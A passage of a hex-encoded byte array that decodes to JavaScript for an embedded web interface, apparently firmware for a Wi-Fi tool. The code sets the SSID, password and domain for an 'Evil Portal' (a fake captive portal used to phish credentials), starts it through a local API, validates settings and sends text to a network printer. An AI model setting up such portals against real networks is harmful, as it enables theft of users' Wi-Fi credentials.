0x61, 0x72, 0x61, 0x6D, 0x65, 0x74, 0x65, 0x72, 0x73, 0x20, + 0x69, 0x6E, 0x20, 0x64, 0x6F, 0x75, 0x62, 0x6C, 0x65, 0x20, 0x71, 0x75, + 0x6F, 0x74, 0x65, 0x73, 0x20, 0x69, 0x66, 0x20, 0x74, 0x68, 0x65, 0x79, + 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x20, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x53, + 0x53, 0x49, 0x44, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, + 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, + 0x65, 0x64, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x53, 0x53, 0x49, + 0x44, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x50, + 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x77, 0x72, + 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, + 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x41, 0x50, 0x53, 0x53, 0x49, + 0x44, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, + 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, + 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x41, 0x50, 0x53, 0x53, 0x49, + 0x44, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x44, + 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, + 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, + 0x65, 0x64, 0x65, 0x64, 0x28, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x44, + 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, + 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, + 0x20, 0x3D, 0x20, 0x60, 0x73, 0x74, 0x61, 0x72, 0x74, 0x70, 0x6F, 0x72, + 0x74, 0x61, 0x6C, 0x60, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, + 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x63, 0x6F, 0x6D, + 0x6D, 0x61, 0x6E, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, + 0x4F, 0x53, 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, 0x7B, 0x20, 0x27, 0x43, + 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x27, + 0x3A, 0x20, 0x27, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x27, 0x20, 0x7D, 0x2C, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, + 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, + 0x79, 0x28, 0x7B, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, + 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x7D, 0x29, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, + 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x3E, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, + 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, + 0x65, 0x72, 0x74, 0x28, 0x27, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, + 0x72, 0x74, 0x61, 0x6C, 0x20, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, + 0x64, 0x20, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, + 0x6C, 0x79, 0x2E, 0x2E, 0x2E, 0x20, 0x59, 0x6F, 0x75, 0x20, 0x41, 0x72, + 0x65, 0x20, 0x6E, 0x6F, 0x77, 0x20, 0x44, 0x69, 0x73, 0x63, 0x6F, 0x6E, + 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x46, 0x72, 0x6F, 0x6D, 0x20, + 0x47, 0x68, 0x6F, 0x73, 0x74, 0x4E, 0x65, 0x74, 0x27, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, + 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, + 0x53, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x45, 0x76, 0x69, 0x6C, + 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x43, 0x6F, 0x6D, 0x6D, + 0x61, 0x6E, 0x64, 0x2E, 0x2E, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, + 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, + 0x3E, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, + 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x53, + 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, + 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x43, 0x6F, 0x6D, 0x6D, 0x61, + 0x6E, 0x64, 0x2E, 0x2E, 0x2E, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, + 0x72, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x76, 0x61, 0x6C, 0x69, 0x64, 0x61, + 0x74, 0x65, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x20, + 0x62, 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x73, 0x61, 0x76, 0x69, 0x6E, + 0x67, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, + 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x69, + 0x64, 0x61, 0x74, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, + 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x29, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, + 0x72, 0x73, 0x20, 0x3D, 0x20, 0x5B, 0x5D, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x2F, 0x2F, 0x20, 0x42, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, + 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x3A, 0x20, 0x35, 0x20, 0x2D, 0x20, + 0x31, 0x30, 0x30, 0x30, 0x20, 0x6D, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, + 0x28, 0x21, 0x28, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, + 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, + 0x65, 0x65, 0x64, 0x20, 0x3E, 0x3D, 0x20, 0x35, 0x20, 0x26, 0x26, 0x20, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x62, 0x72, 0x6F, + 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, + 0x20, 0x3C, 0x3D, 0x20, 0x31, 0x30, 0x30, 0x30, 0x29, 0x29, 0x20, 0x7B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, + 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x42, 0x72, 0x6F, 0x61, 0x64, + 0x63, 0x61, 0x73, 0x74, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x6D, + 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, 0x74, 0x77, 0x65, + 0x65, 0x6E, 0x20, 0x35, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x31, 0x30, 0x30, + 0x30, 0x20, 0x6D, 0x73, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x52, 0x47, 0x42, 0x20, 0x53, 0x70, + 0x65, 0x65, 0x64, 0x3A, 0x20, 0x31, 0x35, 0x20, 0x2D, 0x20, 0x35, 0x30, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x28, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, + 0x65, 0x64, 0x20, 0x3E, 0x3D, 0x20, 0x31, 0x35, 0x20, 0x26, 0x26, 0x20, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x72, 0x67, 0x62, + 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x20, 0x3C, 0x3D, 0x20, 0x35, 0x30, + 0x29, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x72, + 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x52, + 0x47, 0x42, 0x20, 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x6D, 0x75, 0x73, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, 0x74, 0x77, 0x65, 0x65, 0x6E, + 0x20, 0x31, 0x35, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x35, 0x30, 0x2E, 0x27, + 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, + 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x46, 0x6F, 0x6E, 0x74, + 0x20, 0x53, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x30, 0x20, 0x2D, 0x20, + 0x37, 0x32, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x21, 0x28, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, + 0x20, 0x3E, 0x3D, 0x20, 0x31, 0x30, 0x20, 0x26, 0x26, 0x20, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, + 0x20, 0x3C, 0x3D, 0x20, 0x37, 0x32, 0x29, 0x29, 0x20, 0x7B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, + 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, + 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x20, 0x53, 0x69, 0x7A, 0x65, 0x20, 0x6D, + 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, 0x74, 0x77, 0x65, + 0x65, 0x6E, 0x20, 0x31, 0x30, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x37, 0x32, + 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, + 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x65, 0x72, + 0x72, 0x6F, 0x72, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, + 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, + 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x73, 0x74, + 0x72, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x73, 0x74, + 0x72, 0x2E, 0x73, 0x74, 0x61, 0x72, 0x74, 0x73, 0x57, 0x69, 0x74, 0x68, + 0x28, 0x27, 0x22, 0x27, 0x29, 0x20, 0x26, 0x26, 0x20, 0x73, 0x74, 0x72, + 0x2E, 0x65, 0x6E, 0x64, 0x73, 0x57, 0x69, 0x74, 0x68, 0x28, 0x27, 0x22, + 0x27, 0x29, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, + 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x73, 0x74, 0x72, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x60, 0x22, 0x24, + 0x7B, 0x73, 0x74, 0x72, 0x7D, 0x22, 0x60, 0x3B, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, + 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, + 0x20, 0x73, 0x65, 0x6E, 0x64, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x74, + 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, + 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x6E, 0x64, + 0x74, 0x6F, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x28, 0x29, 0x20, + 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x70, 0x72, 0x69, + 0x6E, 0x74, 0x65, 0x72, 0x69, 0x70, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, + 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, + 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x27, 0x29, 0x2E, 0x76, + 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x74, 0x72, 0x69, 0x6D, 0x28, 0x29, 0x3B, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x70, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, + 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, + 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, + 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x74, 0x72, 0x69, 0x6D, + 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, + 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x3D, 0x20, 0x70, 0x61, + 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, + 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, + 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, + 0x65, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, + 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x67, 0x65, 0x74, 0x50, 0x72, + 0x69, 0x6E, 0x74, 0x65, 0x72, 0x41, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, + 0x6E, 0x74, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, + 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x20, 0x3D, 0x20, + 0x5B, 0x5D, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x69, 0x70, 0x20, 0x3D, 0x3D, 0x3D, + 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, + 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, + 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, 0x72, 0x69, + 0x6E, 0x74, 0x65, 0x72, 0x20, 0x49, 0x50, 0x2E, 0x27, 0x29, 0x3B, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x69, 0x66, 0x20, 0x28, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, + 0x74, 0x65, 0x78, 0x74, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, + 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, + 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, + 0x65, 0x72, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x73, + 0x65, 0x6E, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x69, 0x66, 0x20, 0x28, 0x69, 0x73, 0x4E, 0x61, 0x4E, 0x28, 0x66, 0x6F, + 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x29, 0x20, 0x7C, 0x7C, 0x20, 0x66, + 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x3C, 0x20, 0x31, 0x30, + 0x20, 0x7C, 0x7C, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, + 0x20, 0x3E, 0x20, 0x37, 0x32, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x72, 0x69, 0x6E, + 0x74, 0x65, 0x72, 0x20, 0x46, 0x6F, 0x6E, 0x74, 0x20, 0x53, 0x69, 0x7A, + 0x65, 0x20, 0x6D, 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, + 0x74, 0x77, 0x65, 0x65, 0x6E, 0x20, 0x31, 0x30, 0x20, 0x61, 0x6E, 0x64, + 0x20, 0x37, 0x32, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, + 0x66, 0x20, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6C, 0x65, + 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3E, 0x20, 0x30, 0x29, 0x20, 